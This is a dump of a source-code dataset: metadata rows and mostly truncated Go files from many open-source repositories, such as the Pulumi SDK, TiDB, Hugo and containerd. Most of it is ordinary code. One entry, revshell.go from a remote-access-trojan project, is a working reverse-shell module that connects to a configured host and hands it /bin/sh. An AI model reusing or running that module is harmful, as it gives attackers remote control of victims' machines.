blob_id
stringlengths
40
40
content_id
stringlengths
40
40
repo_name
stringlengths
5
114
path
stringlengths
5
318
language
stringclasses
5 values
extension
stringclasses
12 values
length_bytes
int64
200
200k
license_type
stringclasses
2 values
content
stringlengths
143
200k
af64fe95d77b6cd63928f31a2ae84e7ba82428da
56b46db6349e57601e068203d8b602327bab9656
morrell/pulumi-azure-native
/sdk/go/azure/logic/v20160601/partner.go
Go
go
5,652
permissive
// *** WARNING: this file was generated by the Pulumi SDK Generator. *** // *** Do not edit by hand unless you're certain you know what you are doing! *** package v20160601 import ( "context" "reflect" "github.com/pkg/errors" "github.com/pulumi/pulumi/sdk/v3/go/pulumi" ) // The integration account partner. type...
f0928117505011f22437bbe1d78afe5b39203079
e46a101d8c6d46e9fff583723fafe16d5624dfd9
cloudfoundry/bosh-cli
/blobstore/blobstore_factory_test.go
Go
go
2,286
permissive
package blobstore_test import ( . "github.com/cloudfoundry/bosh-cli/v7/blobstore" "net/http" . "github.com/onsi/ginkgo/v2" . "github.com/onsi/gomega" boshdavcli "github.com/cloudfoundry/bosh-davcli/client" boshdavcliconf "github.com/cloudfoundry/bosh-davcli/config" bihttpclient "github.com/cloudfoundry/bosh-...
9987d61b649512e7471de1d19174eecef00a01c2
5f8c3a3b98250fdf83106af38f0dbb6f90102ffe
kongxiangyue/my-chainblock
/perishable-food-full/application/fbeecloud/fbeecloud_api.go
Go
go
2,060
no_license
package fbeecloud import ( "encoding/json" "errors" "fmt" "io/ioutil" "net/http" "strconv" ) // 获取温度的请求体 type Fbee struct { Url string `json:"Url"` Port string `json:"Port"` DevKey string `json:"DevKey"` } // 通过文件读取设备账号信息,通过配置文件的方式,修改时就不需要重复build应用 func InitFbeeCloud() (Fbee, error) { var fbee = Fbee{...
6c335d766c7328255d04f1af4ff7bae3c43ec73e
0ea03d3cd1b3ba7342d0327e68b0d5b1c9f21036
jdcloud-api/jdcloud-sdk-go
/services/ipanti/apis/DeleteCCProtectionRuleOfWebRule.go
Go
go
4,836
permissive
// Copyright 2018 JDCLOUD.COM // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in ...
db94be47b20231808cd90dd5171e92888b118a16
1a6d8e8a4b170be8e8ba55cf90995ad44a87206d
kshamiev/urok
/tutorial/gorutine/dtbus/sample/layer_two/layer_two.go
Go
go
2,091
no_license
// nolint package layer_two import ( "crypto/rand" "math/big" "strconv" "time" "github.com/kshamiev/urok/tutorial/gorutine/dtbus" "github.com/kshamiev/urok/tutorial/gorutine/dtbus/sample/typs" ) func ActionSend() { // отправитель go func() { var i int for { i++ dtbus.Gist().SendData(&typs.General{ ...
4b34f366c46abf824ce3a5c807c3a3f97aabe78e
345e03ac3c8bdcfdfe8ec6502f09f2dd529b0c55
mschoenlaub/grip
/send/annotating.go
Go
go
1,116
permissive
package send import ( "errors" "strings" "github.com/mschoenlaub/grip/message" ) type annotatingSender struct { Sender annotations map[string]interface{} } // NewAnnotatingSender adds the annotations defined in the annotations // map to every argument. // // Calling code should assume that the sender owns the ...
55b9d57b9faf5fede036add1fc741e174f53ade8
5215eccfe6722be3a2546452997268b135fca7f3
abchain/fabric
/protos/transaction_test.go
Go
go
5,122
permissive
/* Copyright IBM Corp. 2016 All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in wri...
7713790b26b2b14101563b49a48774b0d8525558
129ab0e5ea76044a5a051fe09b6ad0e8c292d5e4
cookieY/tidb
/planner/core/logical_plans_test.go
Go
go
6,193
permissive
// Copyright 2018 PingCAP, Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain col1 copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed t...
a278e4ae097ad88ce3e6b85364f799622934577c
abf26cfed57cc7de9b510cd084f130ffbb4d2a93
pauek/go-websocket
/test/server.go
Go
go
6,990
permissive
// Copyright 2012 Gary Burd // // Licensed under the Apache License, Version 2.0 (the "License"): you may // not use this file except in compliance with the License. You may obtain // a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in wr...
39da96c5bd6dfa6f38fd65a5e4531ce3fa0e13cd
44dc90ef9206ed043b270b1a08574da88d16cf25
CameronMcWilliam/odo
/tests/integration/devfile/cmd_devfile_registry_test.go
Go
go
3,561
permissive
package devfile import ( "os" "path/filepath" "time" . "github.com/onsi/ginkgo" . "github.com/onsi/gomega" "github.com/openshift/odo/tests/helper" ) var _ = Describe("odo devfile registry command tests", func() { var project, context, currentWorkingDirectory, originalKubeconfig string const registryName stri...
772aa145e040e808c4d4fb64dc1456ce680b38d1
09b741023e3a56f01ac8445d65aac5e8bbc2cf04
dionysius/errand
/errand_test.go
Go
go
2,711
permissive
// nolint: goerr113, testpackage package errand import ( "errors" "fmt" "go/scanner" "testing" ) // Guarantee errand implements Errors and error. var ( _ Errors = new(errand) _ error = new(errand) ) // The tests below for Append make sure there is never an errand with less than 2 entries. func Test_errand_Err...
ee5d87872378afac5dd998a25efdc6c2dfa554db
5fdf44feafdfd08caa79ff813389839a38ec7317
dramf/gotlgbot
/tlgbot/tlgbot.go
Go
go
457
permissive
package tlgbot import ( "github.com/gorilla/mux" "log" "net/http" ) type tlgBot struct { router *mux.Router } func Instance() *tlgBot { r := &tlgBot{ router: mux.NewRouter().StrictSlash(true), } r.router.HandleFunc("/echo", r.echo).Methods("GET") r.router.HandleFunc("/webhook", r.webhook).Methods("POST") ...
9df1a57d4250824209dbcc4cf48545feb6093d18
825cf21cd6744a42abd1a919154090d41c560305
iCodeIN/xsync
/queue_test.go
Go
go
2,854
permissive
package xsync import ( "reflect" "sync" "testing" ) type TaskInt int func (TaskInt) Exec(*WorkerContext) {} var immediately = func() <-chan struct{} { ch := make(chan struct{}) close(ch) return ch }() func TestQueue(t *testing.T) { for _, test := range []struct { name string size int rcvn ...
85379b15ef359c938a5fa861b75761db2f67bb92
ebd4005a962cb7cbc9b04b41aacfab0194b2a5ad
sshyran/skia-buildbot
/go/paramtools/params_test.go
Go
go
3,676
permissive
package paramtools import ( "testing" "go.skia.org/infra/go/util" "github.com/stretchr/testify/assert" ) func TestParamsNew(t *testing.T) { p := NewParams(",arch=x86,") assert.Equal(t, Params{"arch": "x86"}, p) p = NewParams(",arch=x86,config=565,") assert.Equal(t, Params{"arch": "x86", "config": "565"}, p) ...
e111899c94a633730a765df2de17497b1611b384
5737840c6fc135d218feb96ef061b5313ceb92cf
lihongan/simpletest-grpc
/secure-client/main.go
Go
go
956
no_license
package main import ( "log" "os" "github.com/lihongan/simpletest-grpc/api" "golang.org/x/net/context" "google.golang.org/grpc" "google.golang.org/grpc/credentials" ) func main() { addr := "127.0.0.1:50443" if os.Args != nil && len(os.Args) == 2 { addr = os.Args[1] } else { log.Printf("Use default server...
71d7314012aafc6d14faa9ac373905a85cea8bc2
7f025117fdf37a8b73405fde29b546f7ca107ecd
clickyab/clickyab-cyrest
/src/modules/telegram/teleuser/controllers/teleuser.go
Go
go
233
no_license
package telegram import "modules/misc/base" // Controller is the controller for the teleuser package // @Route { // group = /telegram // } type Controller struct { base.Controller } func init() { base.Register(&Controller{}) }
2627c04c99a09222bd1cae531ae8461a83689fcc
f297579bea0c5d65ebda37b813a1efe7626a787b
sakura-rip/mongodb-gen
/sample/group.go
Go
go
236
permissive
package sample type Group struct { Id string `bson:"_id"` Name string `bson:"name"` Members []string `bson:"members"` Setting Setting `bson:"setting"` } type Setting struct { AllowSearch bool `bson:"allow_search"` }
1fe951a57288de7ca10b07083273dc6706e9126f
8a248ebdcfd301e73f05c3eb269823cc368c8e06
hmilkovi/rbac-manager
/pkg/controller/rbacdefinition/parser.go
Go
go
5,939
permissive
package rbacdefinition import ( "errors" "fmt" rbacmanagerv1beta1 "github.com/reactiveops/rbac-manager/pkg/apis/rbacmanager/v1beta1" logrus "github.com/sirupsen/logrus" v1 "k8s.io/api/core/v1" rbacv1 "k8s.io/api/rbac/v1" metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" "k8s.io/client-go/kubernetes" ) // Parser ...
a398249fd207b548463cadde0169cda45250ac39
ba9f6b3f3ca4a1cdac2e0f7608f5b60c9ea6a61a
binRick/gluetun
/internal/updater/providers/privatevpn/countries.go
Go
go
347
permissive
package privatevpn import "strings" func codeToCountry(countryCode string, countryCodes map[string]string) ( country string, warning string) { countryCode = strings.ToLower(countryCode) country, ok := countryCodes[countryCode] if !ok { warning = "unknown country code: " + countryCode country = countryCode } ...
7402c485f91540baad88402eb11942822c6317d7
c0d0b65d4ad2fd3cf1dbcc0d5ca2e30f66c82cfe
rsc/rsc
/cmd/acmego/read.go
Go
go
5,427
permissive
// Copyright 2012 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package main import ( "bufio" "errors" "io" ) type importReader struct { b *bufio.Reader buf []byte peek byte err error eof bool nerr int } f...
9a5f41647d535b69be355e67cab5c074f3adddc7
d549facefc41175fa6924a6cd21d8be43b895339
JimBugwadia/multi-tenancy
/incubator/hnc/internal/kubectl/tree.go
Go
go
4,557
permissive
/* Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License ...
5205f7f08d2be9bb1df9f5f939c2de0618d81fd4
4e21303355e4aeaf8eb4b536302c97d34ffbac11
chenglinjava68/tidb-syncer-redevelopment
/utils/canal/dump.go
Go
go
3,984
no_license
package canal import ( "encoding/hex" "fmt" "strconv" "strings" "time" "github.com/juju/errors" log "github.com/sirupsen/logrus" "tidb-syncer/utils/dump" "tidb-syncer/utils/mysql" "tidb-syncer/utils/schema" ) type dumpParseHandler struct { c *Canal name string pos uint64 gset mysql.GTIDSet } func ...
60deb7d98defe21aae9f48e50a68f3446b1a015f
144201416b2aa2614df79e9859e9b0dd33d8ed6e
vitessio/vitess
/go/ioutil/reader.go
Go
go
2,979
permissive
/* Copyright 2022 The Vitess Authors. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, softwar...
55ae6202bb4631f0b4b2be6dc97b811408860751
d71007330cd8bfc4624d0af8171f272f0756978a
souliot/siot-mqtt
/v3/subscribe.go
Go
go
3,492
permissive
package v3 import ( "bytes" util "github.com/souliot/siot-mqtt/util" ) type SubscriptionOptions struct { QosLevel util.QosLevel NoLocal, RetainAsPublished bool RetainHandling uint8 Reserved uint8 } func (m *SubscriptionOptions) Encode(buf *bytes.Buffer) (err err...
19a318148e72b122081026e5a82fbd19fce46960
bad122e575797047d78de20eabfb1625553c6442
1Crazymoney/gecko
/snow/networking/router/service_queue_test.go
Go
go
7,947
permissive
// (c) 2019-2020, Ava Labs, Inc. All rights reserved. // See the file LICENSE for licensing terms. package router import ( "math" "testing" "time" "github.com/prometheus/client_golang/prometheus" "github.com/ava-labs/gecko/snow/networking/throttler" "github.com/ava-labs/gecko/snow/validators" "github.com/ava...
32c4621473300f3a5762466fe39fc9a49d3e4b43
30103aac9e6f11f723b0bc28619004038b251b99
pathbox/LeetCode-in-Golang
/406.根据身高重建队列/example1.go
Go
go
504
no_license
package LeetCode406 import "sort" func reconstructQueue(people [][]int) [][]int { // 排序,先按照身高h排序,如果身高一样高,那就按照人数k排序 sort.Slice(people, func(i, j int) bool { return (people[i][0] > people[j][0]) || (people[i][0] == people[j][0] && people[i][1] < people[j][1]) }) // 按照k值插入到index=k的地方,index之后的往后移动 for i, p := ran...
b2d1f9211d599eb2747acca51a93eee8cb588c73
4b3881263c7418e4d7d44591b8d5978be99a9d50
linxiulei/containerd
/cmd/ctr/commands/run/run_unix.go
Go
go
16,398
permissive
//go:build !windows /* Copyright The containerd Authors. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applic...
1f8b2ee0305100dcb77879387dac06bd5daeed37
78395da68ac23d584e118cd3afbd1ce3c940b7f3
SCaryon/ReEngine
/util/Utils.go
Go
go
3,092
no_license
package utils import ( "bufio" "fmt" json "github.com/json-iterator/go" "log" "os" "strconv" "syscall" ) const ( DBDocument = "document" // 文档数据 DBInvertDoc = "invert_index" // 倒排索引 DBUsers = "users" // 用户表 DocPath = "tmp/document/" ...
382df7f1cd9a5272a37b7d69699d352cb3d8a035
3e072545227f661176d7f79cc84df05c69756f50
dekins/hugo
/resources/testhelpers_test.go
Go
go
5,153
permissive
package resources import ( "path/filepath" "testing" "image" "io" "io/ioutil" "os" "runtime" "strings" "github.com/gohugoio/hugo/langs" "github.com/gohugoio/hugo/modules" qt "github.com/frankban/quicktest" "github.com/gohugoio/hugo/cache/filecache" "github.com/gohugoio/hugo/helpers" "github.com/gohugo...
6ebc4054cdbc13b0f769a4d79dc2d1526ee45d2e
9a9d394f88819fa21ec81e760d8293a0e46263c0
spi-x-i/grpc-go-course
/greet/sum_server/sum_server.go
Go
go
749
permissive
package main import ( "context" "fmt" "log" "net" "google.golang.org/grpc" "org.spixi/spixi/greet/greetpb" ) type server struct {} func (*server) Sum(ctx context.Context, req *greetpb.SumRequest) (*greetpb.SumResponse, error) { fmt.Printf("Sum function was invoked with %v\n", req) to_add := req.GetAddends()...
fc7de52009a9109c5f460436a6a2a9d81a568868
1f4b20b5d0752cbb43e8cde1b8e11fbfcf211565
gabolaev/standup-store-monitoring
/internal/monitoring/event.go
Go
go
749
no_license
package monitoring import ( "crypto/md5" "fmt" "strconv" "strings" "time" ) var ( addEmojiBeforeTextReplacer = strings.NewReplacer( "Сбор", "\n⏱️ Сбор", ) ) type Event struct { Date string Time string Book string Price string Description string Remaining string } func (e ...
f9b7617d03e4c30730b9074d948c7291514c0188
111ffe5d2495cc81403e8520dff23629ae2d8b35
superswan/kuudereRAT
/src/server/task_modules/revshell-dl/revshell.go
Go
go
322
no_license
package main import ( "C" "net" "os/exec" ) var Host string func shellStart() { conn, err := net.Dial("tcp", Host) if (err != nil) { return } cmd := exec.Command("/bin/sh") cmd.Stdin=conn cmd.Stdout=conn cmd.Stderr=conn cmd.Run() } //export runModule func runModule() { go shellStart() } func main() {...
f64543063c3dfabfcdbebc06efad9b5c98167e98
e67a71ef74e74d9d3f7fe60a6b97a44f507bbd70
bdshadow/kubernetes-client-android
/kubernetes-model/vendor/k8s.io/kubernetes/pkg/apis/batch/v1/zz_generated.defaults.go
Go
go
6,359
permissive
/** * Copyright (C) 2015 Red Hat, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or...
42ab525922080016169035e1b6ef54084b9ae8ff
722c984e376f6468969544c19636f056b50edb98
golang/gofrontend
/libgo/go/cmd/go/internal/modfetch/cache_test.go
Go
go
490
permissive
// Copyright 2018 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package modfetch import ( "os" "path/filepath" "testing" ) func TestWriteDiskCache(t *testing.T) { tmpdir, err := os.MkdirTemp("", "go-writeCache-test-") ...
cbb179795d930ff356c9f8d3def9fb696e53e8c6
6286c0098bc944a5dfd615327458d972356ecfa1
weblfe/tim
/server_list.go
Go
go
7,206
permissive
/* * * server_list.go * server * * Created by lintao on 2020/4/16 2:24 下午 * Copyright © 2020-2020 LINTAO. All rights reserved. * */ package tim type ApiPath string const ( VERSION = "v4" BaseUrl = "https://console.tim.qq.com" //帐号管理 MultiAccountImportApi ApiPath = "/im_open_login_svc/multiaccount_import...
cfa882220915900a2e8774ea0b0d60cb28d00234
88d68a97ee625eddcf574cd267cbe2c60b119080
wylzabc/friday
/util/util.go
Go
go
2,108
no_license
package util import ( "encoding/json" "io/ioutil" // "reflect" //"net/http" "bytes" // "fmt" "github.com/gin-gonic/gin" "net/http/httptest" //"testing" ) // ParseToStr 将map中的键值对输出成querystring形式 func ParseToStr(mp map[string]string) string { values := "" for key, val := range mp { values += "&" + key + "...
862a9bf0c118b096e61b5d87cec0c22ced31ebcb
ca290039fca9ee75600bfcffbde0d733009effa2
sgtest/monorepo-test-3
/kubernetes-12/pkg/controller/daemon/update.go
Go
go
4,722
permissive
/* Copyright 2017 The Kubernetes Authors. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, ...
ce6fbf0cc64a2baca196c44c37e198ba8b300d1f
d4086a15e880a33c69c587e77be5d3d248821a1e
adeepan/azure-service-operator
/hack/generator/pkg/codegen/pipeline/resource_conversion_test_cases.go
Go
go
3,339
permissive
/* * Copyright (c) Microsoft Corporation. * Licensed under the MIT license. */ package pipeline import ( "github.com/pkg/errors" "golang.org/x/net/context" kerrors "k8s.io/apimachinery/pkg/util/errors" "github.com/Azure/azure-service-operator/hack/generator/pkg/astmodel" "github.com/Azure/azure-service-opera...
66ac27d968edf3abdfce3e3b8116edef68f46d5b
6ac41b1c9d42160f0567d5057cd62b9d2afcd153
baishuai/leetcode
/algorithms/p494/494.go
Go
go
1,414
permissive
package p494 /** You are given a list of non-negative integers, a1, a2, ..., an, and a target, S. Now you have 2 symbols + and -. For each integer, you should choose one from + and - as its new symbol. Find out how many ways to assign symbols to make sum of integers equal to target S. Example 1: Input: nums is [1, 1...
869ad786552c5fda04a5583f40efab32b5c17ca5
e5df60bf6593c69ab074ae65debbc84d0844fd62
concentratedcr/dcrdata
/pubsub/websocket.go
Go
go
16,258
permissive
// Copyright (c) 2018-2020, The Decred developers // Copyright (c) 2017, The dcrdata developers // See LICENSE for details. package pubsub import ( "fmt" "sync" "sync/atomic" "time" exptypes "github.com/decred/dcrdata/v6/explorer/types" pstypes "github.com/decred/dcrdata/v6/pubsub/types" ) type hubSpoke chan ...
c1852c75e3773173ffa4e2656310b5673f73388c
ef13ba2b4850d7cd219f563dbef33b2f7da4d37a
belonace/GoRocketmqSender
/rmq/GoCoRoutingRmqProdClient_test.go
Go
go
1,163
no_license
package rmq import ( "flag" "runtime" "fmt" "testing" "strconv" ) func Benchmark_SendMsg(b *testing.B) { runtime.GOMAXPROCS(runtime.NumCPU()) flag.Parse() addr:="10.6.30.109:7912" size:=10000 //wg := sync.WaitGroup{} //wg.Add(size) cc,_:=NewGoCoRoutingRmqProdClient(addr,5000,3000,3600,size/2) for j:=0;j<...
fa5adf60d6e75951ec39cd50404c3566f911b158
7cb80a957c35626aa5298b1a3c6563a9f23abcee
bookingcom/grafana
/pkg/models/context.go
Go
go
1,821
permissive
package models import ( "strings" "github.com/prometheus/client_golang/prometheus" "gopkg.in/macaron.v1" "github.com/grafana/grafana/pkg/log" "github.com/grafana/grafana/pkg/services/session" "github.com/grafana/grafana/pkg/setting" ) type ReqContext struct { *macaron.Context *SignedInUser Session session...
70f96c5bf2c5175a384c33f86a89aa327466203a
7f1250c0c9c88e432c92517e536f6902ff9677e6
BanzaiMan/gcsfuse
/gcsproxy/object_syncer_test.go
Go
go
9,267
permissive
// Copyright 2015 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable...
f3222f2d0e5462ea15bddde251d5068888033ede
24597243c8ed89a5d4ce0416907cc9523dc70d5d
martyav/golang-book
/chapter11/main.go
Go
go
304
no_license
package main import "fmt" import m "golang-book/chapter11/math" // Directory must be in $GOPATH func main() { xs := []float64{1, 2, 3, 4} avg := m.Average(xs) fmt.Println(avg) } // Inside ./math, run `go install` to create a linkable object file // Then, go to ./chapter11 and run `go run main.go`
f4db1edb80e1e596733670d28f5847370c354c6f
d763da1cad1f5fb85da2dc7ee6136b7db82b6f47
Shopify/magic-modules
/third_party/terraform/tests/data_source_google_compute_instance_test.go
Go
go
3,451
permissive
package google import ( "fmt" "testing" "github.com/hashicorp/terraform/helper/acctest" "github.com/hashicorp/terraform/helper/resource" "github.com/hashicorp/terraform/terraform" ) func TestAccDataSourceComputeInstance_basic(t *testing.T) { t.Parallel() instanceName := fmt.Sprintf("data-instance-test-%s", a...
ca99cad30b4b0d73dc99828f6a6174d89fef73f8
5077bc0a50db9358b9d32aff52c9618d2b9891ef
mbentley/notary
/utils/configuration_test.go
Go
go
16,088
permissive
package utils import ( "bytes" "crypto/tls" "fmt" "os" "path/filepath" "reflect" "testing" "github.com/Sirupsen/logrus" "github.com/bugsnag/bugsnag-go" "github.com/docker/notary" "github.com/docker/notary/trustmanager" "github.com/spf13/viper" "github.com/stretchr/testify/require" ) const envPrefix = "N...
8e61b7977cfefb55247cb4107690837070083ec7
47bd1162d47ad2ec22887aaa40f2234f293f7bdb
malingzhao/bitoin
/src/bitCoinEducation/ch10-bc-obj/BLC/CLI.go
Go
go
2,878
permissive
package BLC import ( "flag" "fmt" "github.com/boltdb/bolt" "log" "os" ) //对blockchain命令行进行操作 //client对象 type CLI struct { } //用法展示 func PrintUsage() { fmt.Println("Usage:") //初始化区块链 fmt.Println("\tcreateblockchain -data DATA --创建区块\n") //添加区块 fmt.Println("\taddblock --添加区块\n") //打印完整的区块信息 fmt.Println...
1508be30347426386ac6fbc4d4f350bf9e1f55ca
a32d8907061f6350c205a604036c7073668fac1e
lthibault/pipewerks
/pkg/transport/inproc/namespace.go
Go
go
799
permissive
package inproc import ( "context" pipe "github.com/lthibault/pipewerks/pkg" ) // DefaultNamespace is a global namespace that is used by default var DefaultNamespace Namespace = make(namespace) // Connector can wait for incoming connections type Connector interface { Connect(context.Context, pipe.Conn) error } /...
7c924cd7468aa9a3949dc6d68f6e7c9581a828f5
1811de3bb51141c6f5e5ab5572b5f5b92bacd9a2
Abadrausar/Rubble-
/other/src/dctech/rex/rarray.go
Go
go
2,484
permissive
/* Copyright 2014 by Milo Christiansen This software is provided 'as-is', without any express or implied warranty. In no event will the authors be held liable for any damages arising from the use of this software. Permission is granted to anyone to use this software for any purpose, including commercial applications,...
fad8a8237b5f376b0dab0a58c1917a819f78235a
ecdd2e22da30732123771c1f40ca7c134ba7b27d
ordovicia/gitops-engine
/pkg/cache/cluster.go
Go
go
25,741
permissive
package cache import ( "context" "fmt" "runtime/debug" "sort" "strings" "sync" "sync/atomic" "time" log "github.com/sirupsen/logrus" "golang.org/x/sync/semaphore" "k8s.io/apimachinery/pkg/api/errors" metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" "k8s.io/apimachinery/pkg/apis/meta/v1/unstructured" "k8s.i...
698319a65b96ebd3f52ecddca20aceff59a84fdb
3a44b7d5a8c7cd40f4c77a4f11930cf170b7881e
vinoththargis/gotest
/main.go
Go
go
3,147
no_license
package main import ( "bytes" "fmt" "io" "log" "net/http" "os" "os/exec" "github.com/gorilla/mux" "github.com/skip2/go-qrcode" ) type Projector struct { QRCode1 string `json:"qrcode1,omitempty"` QRCode2 string `json:"qrcode2,omitempty"` Geolocation string `json:"geolocation,...
42d4e64a14201cb1b7152db95e0ccf06c73a5da4
2897bdd9b859d9aa31dbe8d5bcdcfd0b7286d889
microhod/mandlebrot
/image.go
Go
go
720
no_license
package main import ( "image" "image/color" ) // CreateImage creates a square image with the specified width, using the getColor to set the color of each pixel func CreateImage(width int, getColor func(image.Point, image.Image) color.Color) image.Image { upLeft := image.Point{0, 0} lowRight := image.Point{width, ...
13c41f1c46dfd9d651786f457f38b07942efa66c
42f4fe937cb9a7ae9018a42c078f8bb676c699c4
yoyoyard/goth
/providers/salesforce/salesforce.go
Go
go
4,750
permissive
// Package salesforce implements the OAuth2 protocol for authenticating users through salesforce. // This package can be used as a reference implementation of an OAuth2 provider for Goth. package salesforce import ( "encoding/json" "io" "net/http" "net/url" "fmt" "github.com/yoyoyard/goth" "golang.org/x/oauth2...
881230e9ac493c51c0b0fe110b23fba42d190815
6e46179981f8772e9bcfdf6f6dcc8a07f29933dc
bep/hugo
/parser/pageparser/pagelexer_intro.go
Go
go
3,813
permissive
// Copyright 2018 The Hugo Authors. All rights reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable ...
35c028b61bf41d3c8597d323bfce8c8cc3cb6a92
14110bb045665917f9a2aaf0a919131b9d148156
CraigChilds94/hugo
/markup/asciidocext/convert_test.go
Go
go
12,578
permissive
// Copyright 2020 The Hugo Authors. All rights reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable ...
a3917c69848a423b5f35746e9282c178097625b5
c344bbe8034456862534e348731de14e43ea9473
AllenZMC/Dragonfly
/cmd/dfdaemon/app/root.go
Go
go
5,769
permissive
/* * Copyright The Dragonfly Authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agr...
0d3575d43390ad58521d912f391acd9a6ac6beb2
7d54a9181e54f71c407e1c60fc8e5613792d2693
jqmichael/aws-k8s-tester
/eks/prometheus-grafana/prometheus-grafana.go
Go
go
13,977
permissive
// Package prometheusgrafana implements Prometheus/Grafana add-on. package prometheusgrafana import ( "context" "errors" "fmt" "os" "strings" "time" "github.com/aws/aws-k8s-tester/ec2config" "github.com/aws/aws-k8s-tester/eks/helm" "github.com/aws/aws-k8s-tester/eksconfig" "github.com/aws/aws-k8s-tester/pkg...
1849effeb589b7c303db57ef598efd95cf163d62
17a0ffdf0f9ec1ff05806758a83289da07886db5
lorenz/go-zfs
/nvlist/nvlist_test.go
Go
go
860
permissive
package nvlist import ( "encoding/json" "fmt" "io/ioutil" "testing" ) func TestUnmarshal(t *testing.T) { data, err := ioutil.ReadFile("zpool.cache") if err != nil { t.Error(err) } test := new(interface{}) if err := Unmarshal(data, test); err != nil { t.Error(err) } res, _ := json.MarshalIndent(test, ""...
a80500f05cda0302af9bb0329c608864b98cc49a
00ed6bcdd41697abeb9259bc72bd1290cd210d8f
julianfbeck/AppStoreImageCreator
/server/sessions.go
Go
go
1,030
no_license
package server import ( "github.com/gin-contrib/sessions" "github.com/gin-gonic/gin" "github.com/jufabeck2202/AppStoreImageCreator/core" "github.com/rs/xid" "io/ioutil" "os" "time" ) func Session() gin.HandlerFunc { return func(c *gin.Context) { session := sessions.Default(c) id := session.Get("id") if ...
eb9cdc7c883d9f4da6029265b757d5c33079be92
a464de7ace87f860282ac87d87ba24be25160e69
takaaki12353491/go-playground
/csv_test.go
Go
go
347
no_license
package main import ( "strings" "testing" ) func TestCSVAverage(t *testing.T) { s := strings.Join([]string{ "Math,English", "90,70", "80,90", "70,60", "60,30", }, "\n") res := CSVAverage(s) math := res["Math"] english := res["English"] if math != 75 || english != 62.5 { t.Errorf("Math: %f, English...
e07a4807d3623728c23cdd15583cb993f74309f9
29e93823856a09e424dfff5526144c6b111cb683
csrgxtu/gf
/debug/gdebug/gdebug_testdata.go
Go
go
804
permissive
// Copyright 2019-2020 gf Author(https://github.com/csrgxtu/gf). All Rights Reserved. // // This Source Code Form is subject to the terms of the MIT License. // If a copy of the MIT was not distributed with this file, // You can obtain one at https://github.com/csrgxtu/gf. package gdebug import ( "path/filepath" ) ...
63450e940d671e24fc3c41b74be33a7227b0eb81
003b1ddbb3754f4e2b744555ea65f312b7f62f2e
asdfjklkk/iofunc
/file.go
Go
go
553
no_license
package iofunc import ( "io" "os" ) func CopyFile(src string, dst string) (returnValue error) { srcFile, err := os.Open(src) if err != nil { returnValue = err return } defer srcFile.Close() dstFile, err := os.Create(dst) if err != nil { returnValue = err return } defer dstFile.Close() _, err = io.C...
d6b789357c2de05a9297b00d42b4680f0c3faca2
3323671dff4c2e3f63917b0c20b77a2de8f4ef8c
ivanb7/udp-client-server
/httpfs/httpfs.go
Go
go
6,043
permissive
package main import ( "bytes" "encoding/binary" "flag" "fmt" "io" "io/ioutil" "log" "net" "os" "strconv" "strings" ) const ( minLen = 11 maxLen = 1024 ) // Packet represents a simulated network packet. type Packet struct { // Type is the type of the packet which is either ACK or DATA (1 byte). Type ui...
c8299332ce4aa176b4ceea9952f8cbc7dc3a9282
fae1a7de87103768d4e40d19720182a7bc3652ac
DonelAdam/datadog-agent
/pkg/logs/input/journald/tailer.go
Go
go
8,718
permissive
// Unless explicitly stated otherwise all files in this repository are licensed // under the Apache License Version 2.0. // This product includes software developed at Datadog (https://www.datadoghq.com/). // Copyright 2016-2020 Datadog, Inc. // +build systemd package journald import ( "encoding/json" "fmt" "io" ...
670300f48b0e49468f68ee841451537723a2cc66
4f2783830d1c5189b9009c78b76a82e52c63d160
asppj/zadig
/pkg/microservice/aslan/middleware/auth.go
Go
go
2,444
permissive
/* Copyright 2021 The KodeRover Authors. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, s...
f717e6d50a31a00c8ce609d6c7812d5e4c3a33ec
a90523aa527434f0364276a84cee2d278152303a
grezar/arepo
/main.go
Go
go
2,047
no_license
